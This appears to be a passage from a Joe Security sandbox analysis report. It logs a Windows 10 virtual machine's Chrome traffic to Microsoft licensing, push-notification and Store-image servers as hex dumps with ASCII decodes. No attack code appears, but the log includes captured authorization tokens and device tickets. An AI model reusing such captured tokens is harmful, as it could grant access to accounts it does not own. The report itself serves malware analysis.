dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.32
Content-Length: 4313
Host: licensing.mp.microsoft.com

2022-07-01 09:01:33 UTC 2502 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:33 UTC 2506 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:32 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8017
MS-CorrelationId: be9c6bca-2d92-43a1-95f3-7fd14e5f821a
MS-RequestId: f42e1ed3-11d0-4722-983d-d93a304577de
MS-CV: UznHpAHqV0GMBdER.32.1530940404.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-95qqn

2022-07-01 09:01:33 UTC 2506 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 62 63 64 61 39 37 62 62 2d 62 66 64 30 2d 32 
61 37 32 2d 33 63 39 30 2d 63 38 35 31 38 66 33 64 30 39 65 65 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"bcda97bb-bfd0-2a72-3c90-c8518f3d09ee"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:33 UTC 2507 IN Data Raw: 44 63 74 4d 44 46 55 4d 44 41 36 4d 54 6b 36 4e 54 6b 75 4f 54 63 31 4e 7a 51 32 57 6a 77 76 51 6d 56 6e 
61 57 35 45 59 58 52 6c 50 6a 77 76 54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 2b 50 45 4e 31 63 33 52 76 62 56 42 
76 62 47 6c 6a 61 57 56 7a 50 6d 56 35 53 6e 4e 61 56 32 52 6f 57 54 4e 73 55 57 4e 74 4f 57 74 6b 56 30 34 77 55 31 6
4 52 61 55 39 70 53 6d 78 4f 61 6b 31 35 57 6d 31 56 4e 55 31 44 4d 57 68 4f 56 30 70 6f 54 46 52 52 65 6c 6c 58 52 58 
52 5a 62 56 6b 30 54 56 4d 77 4e 56 70 48 56 54 52 4f 52 45 56 36 57 6c 52 6e 65 6c 70 45 5a 32 6c 6d 55 54 30 39 50 
43 39 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 34 38 55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 6d 78 76 
59 32 73 2b 52 6b 46 42 51 55 46 4d 64 30 46 42 51 55 52 4b 51 55 46 42 
Data Ascii: DctMDFUMDA6MTk6NTkuOTc1NzQ2WjwvQmVnaW5EYXRlPjwvTGljZW5zZUluZm8+PEN1c3RvbVBvbGl
jaWVzPmV5SnNaV2RoWTNsUWNtOWtkV04wU1dRaU9pSmxOak15Wm1VNU1DMWhOV0poTFRRellXRXRZbVk
0TVMwNVpHVTROREV6WlRnelpEZ2lmUT09PC9DdXN0b21Qb2xpY2llcz48U1BMaWNlbnNlQmxvY2s+RkF
BQUFMd0FBQURKQUFB

2022-07-01 09:01:33 UTC 2508 IN Data Raw: 33 4a 7a 59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 46 4a 6c 5a 6d 56 79 5a 57 35 6a 5a 53 42 56 
55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 53 42 
42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 
49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 6c 6e 62 
6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 58 4e 30 
54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 
33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6c 
Data Ascii: 3JzYS1zaGEyNTYiIC8+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGd
vcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjwvV
HJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxl

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:33 UTC 2509 IN Data Raw: 45 52 7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 67 76 57 6c 4e 77 63 45 4e 42 54 79 74 70 62 6a 6c 51 
54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 63 6e 45 
32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 57 64 7a 4e 57 59 6a 64 30 5a 6c 
46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6c 69 65 55 35 79 53 48 6c 36 5a 
32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 6d 70 7a 
4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 61 48 6f 30 59 32 31 31 65 45 74 
44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 59 7a 42 4e 55 6d 68 7a 
Data Ascii: ERzYUFJZnd5UjliaGgvWlNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlA
wRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQjVVSlp3M
zJ5aTAzelFhK0xMYTA1ZmpzNmpvRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVrYzBNUmhz

2022-07-01 09:01:33 UTC 2510 IN Data Raw: 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 
5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 56 32 6c 75 5a 47 39 33 63 30 4e 68 62 47 4e 31 62 47 46 30 62 
33 4a 66 4f 48 64 6c 61 33 6c 69 4d 32 51 34 59 6d 4a 33 5a 54 77 76 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 42 47 
54 6e 4d 2b 50 45 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 78 4d 6a 6b 32 4d 44 41 
38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 38 4c 30 4a 70 62 6d 52 70 62 6d 
63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 46 52 35 63 47 55 39 49 6b 78 6c 59 58 4e 6c 49 69 42 4d 61 
57 4e 6c 62 6e 4e 6c 56 58 4e 68 5a 32 55 39 49 6b 39 75 62 47 6c 75 5a 53 
Data Ascii: 5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuV2luZG93c0NhbGN1bGF0b3JfO
Hdla3liM2Q4YmJ3ZTwvQXNzb2NpYXRlZFBGTnM+PExlYXNlUmVuZXdhbFBlcmlvZD4xMjk2MDA8L0xlYXNlUmVuZXd
hbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2VJbmZvIFR5cGU9IkxlYXNlIiBMaWNlbnNlVXNhZ2U9Ik9ubGluZS

2022-07-01 09:01:33 UTC 2511 IN Data Raw: 52 61 55 39 70 53 6b 52 69 4d 6a 55 77 57 6c 63 31 4d 45 6c 70 64 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 
70 59 54 57 6c 50 62 48 51 33 53 57 35 43 61 46 6b 79 64 47 68 61 4d 6c 5a 4b 57 6b 64 57 64 57 52 48 62 47 31 68 56 
31 5a 35 53 57 70 76 61 55 35 71 61 47 6c 5a 65 6b 31 35 54 6c 52 46 64 45 31 74 55 54 52 5a 61 54 46 6f 54 6d 70 42 4
d 45 78 55 61 33 6c 5a 62 55 56 30 54 30 52 72 65 6b 35 71 54 54 52 5a 4d 6b 55 7a 54 57 31 57 61 45 6c 70 64 32 6c 
6a 52 30 5a 71 59 54 4a 47 62 6c 70 57 55 6a 56 6a 52 31 56 70 54 32 6c 4b 64 47 4d 79 62 44 52 4a 61 58 64 70 59 30 
68 4b 64 6c 70 49 56 6d 70 6b 52 55 5a 72 57 6b 55 35 64 57 4e 35 53 54 5a 58 4d 54 42 7a 53 57 35 43 65 57 49 79 55 
6a 46 5a 4d 31 4a 4b 57 6b 4e 4a 4e 6b 6c 71 62 46 68 58 61 31 4a 50 55 54 
Data Ascii: RaU9pSkRiMjUwWlc1MElpd2ljR0ZqYTJGblpYTWlPbHQ3SW5CaFkydGhaMlZKWkdWdWRHbG1hV1Z5S
WpvaU5qaGlZek15TlRFdE1tUTRZaTFoTmpBMExUa3lZbUV0T0Rrek5qTTRZMkUzTW1WaElpd2ljR0ZqYTJGblpWUjV
jR1VpT2lKdGMybDRJaXdpY0hKdlpIVmpkRUZrWkU5dWN5STZXMTBzSW5CeWIyUjFZM1JKWkNJNklqbFhXa1JPUT

2022-07-01 09:01:33 UTC 2512 IN Data Raw: 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 38 77 4f 53 39 34 62 57 78 
6b 63 32 6c 6e 49 79 49 2b 50 46 4e 70 5a 32 35 6c 5a 45 6c 75 5a 6d 38 2b 50 45 4e 68 62 6d 39 75 61 57 4e 68 62 47 
6c 36 59 58 52 70 62 32 35 4e 5a 58 52 6f 62 32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 
69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 45 77 4c 33 68 74 62 43 31 6c 65 47 4d 74 
59 7a 45 30 62 69 4d 69 49 43 38 2b 50 46 4e 70 5a 32 35 68 64 48 56 79 5a 55 31 6c 64 47 68 76 5a 43 42 42 62 47 64 
76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 
45 76 4d 44 51 76 65 47 31 73 5a 48 4e 70 5a 79 31 74 62 33 4a 6c 49 33 
Data Ascii: 0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI+PFNpZ25lZEluZm8+PENhbm9uaWNhbGl6Y
XRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiIC8+PFN
pZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZHNpZy1tb3JlI3

2022-07-01 09:01:33 UTC 2513 IN Data Raw: 33 57 57 78 70 62 6b 5a 76 55 54 4e 6f 62 31 45 33 56 45 5a 6d 55 46 6f 76 4e 31 68 36 59 57 30 30 4e 58 64 
4a 5a 45 5a 32 64 58 70 54 52 6c 70 44 54 45 51 34 61 6e 70 54 53 31 4e 56 55 45 39 58 51 7a 52 72 54 31 42 68 54 47 
4d 33 55 58 56 5a 52 48 46 72 65 58 45 79 59 57 56 33 53 7a 56 4a 56 33 4e 69 61 32 68 52 55 58 63 39 50 54 77 76 55 
32 6c 6e 62 6d 46 30 64 58 4a 6c 56 6d 46 73 64 57 55 2b 50 45 74 6c 65 55 6c 75 5a 6d 38 67 53 57 51 39 49 6c 38 77 
5a 6a 67 78 59 6a 49 30 5a 69 31 69 59 7a 51 77 4c 54 49 33 4d 54 49 74 4d 47 51 31 5a 43 31 6c 4e 32 4d 78 4d 44 41 
34 4e 57 4d 7a 4d 7a 41 69 50 6a 78 4c 5a 58 6c 57 59 57 78 31 5a 54 34 38 55 6c 4e 42 53 32 56 35 56 6d 46 73 64 57 
55 2b 50 45 31 76 5a 48 56 73 64 58 4d 2b 62 31 5a 54 53 6c 68 4a 64 45 
Data Ascii: 3WWxpbkZvUTNob1E3VEZmUFovN1h6YW00NXdJZEZ2dXpTRlpDTEQ4anpTS1NVUE9XQzRrT1BhTGM3U
XVZRHFreXEyYWV3SzVJV3Nia2hRUXc9PTwvU2lnbmF0dXJlVmFsdWU+PEtleUluZm8gSWQ9Il8wZjgxYjI0Zi1iYzQ
wLTI3MTItMGQ1ZC1lN2MxMDA4NWMzMzAiPjxLZXlWYWx1ZT48UlNBS2V5VmFsdWU+PE1vZHVsdXM+b1ZTSlhJdE

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

149 192.168.2.5 49916 20.199.120.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:33 UTC 2514 OUT Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 63 35 30 66 33 31 34 36 39 65 61 
64 62 66 61 0d 0a 0d 0a 
Data Ascii: CNT 1 CON 246Context: cc50f31469eadbfa

2022-07-01 09:01:33 UTC 2514 OUT Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 
6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 
6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 
34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 
76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 
61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e 
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc>
<lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</
deviceName></agent></connect>

2022-07-01 09:01:33 UTC 2514 OUT Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 63 35 30 
66 33 31 34 36 39 65 61 64 62 66 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 
3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 
62 6d 51 41 41 66 67 54 2f 37 30 52 32 76 44 6f 6a 4d 61 68 74 49 4e 66 45 44 49 77 65 37 44 41 45 63 6f 54 58 78 79 3
8 4f 42 65 43 7a 41 4c 4f 55 74 58 2b 42 6f 63 75 74 45 55 70 34 45 4e 49 43 39 37 56 74 43 59 72 36 78 44 6e 59 69 72 
38 49 38 62 30 37 47 53 38 44 67 6e 33 31 33 58 33 38 70 61 6a 4c 47 73 31 66 6f 79 70 46 4e 6e 55 73 41 47 54 45 69 
61 55 59 43 65 71 63 30 39 48 4e 33 39 50 67 5a 61 58 61 35 4d 76 6e 
Data Ascii: ATH 2 CON\DEVICE 1026Context: cc50f31469eadbfa<device><compact-ticket>t=EwCwAupIBAAU1bDG
fdaziDfXpjN5N6cYhT1wbmQAAfgT/70R2vDojMahtINfEDIwe7DAEcoTXxy8OBeCzALOUtX+BocutEUp4ENIC97VtC
Yr6xDnYir8I8b07GS8Dgn313X38pajLGs1foypFNnUsAGTEiaUYCeqc09HN39PgZaXa5Mvn

Copyright Joe Security LLC 2022 Page 132 of 280



2022-07-01 09:01:33 UTC 2515 OUT Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 
63 63 35 30 66 33 31 34 36 39 65 61 64 62 66 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 
6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 
69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 
65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 
73 3e 
Data Ascii: BND 3 CON\WNS 1044478 170Context: cc50f31469eadbfa<wns><ver>1</ver><client><name>WPN</name>
<ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>

2022-07-01 09:01:33 UTC 2515 IN Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a 
Data Ascii: 202 1 CON 58

2022-07-01 09:01:33 UTC 2515 IN Data Raw: 4d 53 2d 43 56 3a 20 38 67 43 75 55 79 77 58 61 30 4b 54 74 66 32 37 56 51 46 77 57 67 2e 30 0d 0a 0d 0a 
50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e 
Data Ascii: MS-CV: 8gCuUywXa0KTtf27VQFwWg.0Payload parsing failed.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

15 192.168.2.5 49743 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:37 UTC 189 OUT GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-
e873039b6d86?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:37 UTC 189 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 9564
Content-Type: image/png
Last-Modified: Fri, 19 Jun 2020 10:03:46 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MEU0RkE1MkY"
MS-CV: PTXdXnhlC0uTORe3.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:37 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:37 UTC 190 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
25 23 49 44 41 54 78 da ed 9d 69 8c 64 d7 75 df ff e7 be 57 5b 6f d3 b3 72 c6 1c 8a 22 c1 55 8e 15 c6 14 25 21 89 21 29 
92 62 38 40 12 04 d9 20 d8 81 13 01 71 e2 58 80 05 46 86 21 d1 0a 82 c4 0e 92 2f 8e 2c 41 66 90 0f 89 2c 89 4a 14 4b 
96 22 20 a6 43 d9 a2 e4 c8 89 48 91 41 c4 25 e2 1a 72 46 5c c6 9a 95 bd cc f4 56 f7 e4 c3 bb ef bd fb 6e bd ad aa ab 87 
54 d7 ff 07 16 fb d5 da 3d 55 fd 7e 7d ce b9 e7 de 0b 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 
08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 
42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 
Data Ascii: PNGIHDR,,y}u%#IDATxiduW[or"U%!!)b8@ qXF!/,Af,JK" CHA%rF\VnT=U~}B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B

Session ID Source IP Source Port Destination IP
Destination
Port

Process

150 192.168.2.5 49917 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:33 UTC 2516 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.33
Content-Length: 4389
Host: licensing.mp.microsoft.com

2022-07-01 09:01:33 UTC 2517 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:34 UTC 2522 IN HTTP/1.1 200 OK
Connection: close
